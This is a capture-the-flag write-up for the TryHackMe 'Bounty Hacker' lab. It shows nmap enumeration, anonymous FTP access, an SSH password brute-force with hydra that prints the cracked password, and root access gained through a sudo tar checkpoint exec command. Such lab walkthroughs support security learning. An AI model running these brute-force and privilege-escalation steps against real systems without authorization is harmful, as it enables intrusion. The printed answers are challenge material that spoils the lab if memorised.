[THM] Bounty Hacker

You talked a big game about being the most elite hacker in the solar system. Prove it and claim your right to the status of Elite Bounty Hacker!

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Inside an ftp server there is a user and a list of words with which to cracker the ssh service.

To escalate privileges it is found that the user can execute taras root

[Task 1] Living up to the title.

$ nmap -sC -sV -T4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 21:41 CEST
Nmap scan report for
Host is up (0.092s latency).
Not shown: 967 filtered ports, 30 closed ports
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Cant get directory listing: TIMEOUT
| ftp-syst:
| FTP server status:
| Connected to ::ffff:
| Logged in as ftp
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
| 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesnt have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.41 seconds

First of all I make an enumeration of the machine and I see that I can make anonymous login in ftp so I go in and download both files that I find

#3 Who wrote the task list?

one file is a list of words and the other a note signed by a certain lin


#4 What service can you bruteforce with the text file found?


#5 What is the users pasword?

having the list of words you only need to crack the password

$ hydra -l lin -P fuzzy-octo-guacamole/pentest/tryhackme/bounty_hacker/locks.txt ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-20 21:44:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://
[22][ssh] host: login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-20 21:44:41

#6 user.txt


#7 root.txt

The next step I take before doing a complete enumeration of the machine is to try with sudo -l and I see that I can use the tar command

this command allows us to perform privilege escalation in a very simple way

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

and that’s it, we are root


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